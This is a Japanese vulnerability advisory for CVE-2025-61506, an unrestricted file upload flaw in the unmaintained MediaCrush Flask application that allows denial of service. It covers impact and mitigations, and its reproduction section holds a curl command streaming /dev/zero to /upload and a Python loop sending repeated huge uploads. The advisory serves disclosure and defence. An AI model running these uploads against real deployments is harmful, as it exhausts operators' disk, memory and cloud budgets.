
MediaCrush 1.0.1 以前において、リモートの未認証攻撃者が /upload エンドポイントへ任意のサイズの任意のファイルをアップロードできる問題が発見されました。 脆弱性: 無制限のファイルアップロード (CWE-434) CVE ID: CVE-2025-61506 発見日 : 9月18日 割当日 : 10月9日 影響を受けるコンポーネント: mediacrush/upload.py、app.py (Flask アップロードエンドポイント) 影響を受けるバージョン: 全バージョン (最終コミット 8f4b2a3f、2014年頃) 影響: サービス拒否 (DoS) 深刻度: CVSS 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
MediaCrush の /upload エンドポイント (mediacrush/upload.py) では、未認証の攻撃者がサイズ制限、MIME タイプ検証、レート制限なしに任意の大きなファイルをアップロードできます。これにより、ディスクストレージ (デフォルトでは ./storage) を枯渇させ、Redis と Celery ワーカーを圧倒し、アプリケーションをクラッシュさせることでサービス拒否を引き起こします。この脆弱性は、Flask ベースのアップロードハンドラーにおける入力検証の欠如により、すべての MediaCrush インスタンス (ローカルまたはネットワーク展開) に影響します。このプロジェクトはメンテナンスされていないため (最終更新は 2014 年)、修正は存在しません。
ローカルの MediaCrush インスタンスをセットアップします (README に従い: Python 2.7、Flask 0.10.1、Redis、Celery)。
アプリ (python app.py) と Celery ワーカー (celery worker -A mediacrush -Q celery,priority) を実行します。
以下を実行して大きなファイルをアップロードします:
curl -F "file=@/dev/zero" http://localhost:5000/upload
または、Python スクリプトを使用して複数回アップロードします:
import requests url = "http://localhost:5000/upload" for i in range(50): with open("/dev/zero", "rb") as f: files = {"file": (f"huge{i}.mp4", f, "video/mp4")} r = requests.post(url, files=files) print(f"Upload {i}: {r.status_code} - ID: {r.json().get('id', 'Failed')}")
結果: ディスクストレージ (例: /tmp/storage) が満杯になり、Celery ワーカーが OOM でクラッシュし、新しいアップロードが失敗します (HTTP 500/413)。Redis のメモリ使用量が急増します。
サービス拒否: ディスクを満杯にし、アプリをクラッシュさせ、新しいアップロードやメディア配信を妨げます。
ストレージの悪用: 攻撃者は MediaCrush を悪意のあるファイル (例: 海賊版コンテンツ) の無制限の無料ストレージとして使用できます。
クラウドコスト: storage_folder がクラウドバックアップ (例: AWS S3) の場合、多額の請求が発生します。
バージョン 1.0.1 までのすべてのセルフホスト型 MediaCrush デプロイに影響します。
Flask の MAX_CONTENT_LENGTH 設定とウェブサーバー (例: nginx) の client_max_body_size ディレクティブを使用して、サーバー側のアップロードサイズ制限を適用します。リソース枯渇を防ぐために、適切なファイル検証とレート制限を実装します。
プロジェクトはメンテナンスされていないため、ユーザーはフォークしてパッチを適用するか、デプロイを避けるべきです。
MediaCrush リポジトリ: https://github.com/MediaCrush/MediaCrush
CWE-434: https://cwe.mitre.org/data/definitions/434.html
オープンソースプロジェクトのバグバウンティ監査中に発見されました。
MediaCrush に関する以前の CVE は見つかりませんでした (NVD、GitHub アドバイザリを検索)。
プロジェクトはメンテナンスされておらず、ベンダーの対応は期待できません ([email protected]、IRC #mediacrush は非アクティブ)。